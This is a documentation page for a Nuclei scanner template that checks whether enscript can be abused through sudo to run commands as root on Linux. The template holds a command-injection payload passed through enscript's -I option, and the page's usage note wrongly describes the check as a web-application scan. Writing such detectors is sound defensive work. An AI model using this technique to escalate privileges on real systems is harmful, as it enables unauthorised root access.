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enscript - Privilege Escalation

ID: privesc-enscript

Severity: high

Author: daffainfo

Tags: code,linux,enscript,privesc,local

Description

Section titled “Description”

enscript is a command-line tool used for converting text files to PostScript format for printing. It provides various options for formatting and manipulating the output, making it a useful tool for generating high-quality printed documents from text files.

YAML Source

Section titled “YAML Source”
id: privesc-enscript


info:
  name: enscript - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    enscript is a command-line tool used for converting text files to PostScript format for printing. It provides various options for formatting and manipulating the output, making it a useful tool for generating high-quality printed documents from text files.
  reference:
    - https://gtfobins.github.io/gtfobins/enscript/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,enscript,privesc,local


self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami


  - engine:
      - sh
      - bash
    source: |
      enscript /dev/null -qo /dev/null -I 'whoami >&2'


  - engine:
      - sh
      - bash
    source: |
      sudo enscript /dev/null -qo /dev/null -I 'whoami >&2'


    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true


      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4b0a004830460221008e673256bc2cf9f2924befc90a39f29f5c2d789b308d7e87dd705c8babba23a5022100ffa0c77b8d3d76a50f42527876da3d2220943da10c01d190ca44f80e63916795:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "code/privilege-escalation/linux/binary/privesc-enscript.yaml"

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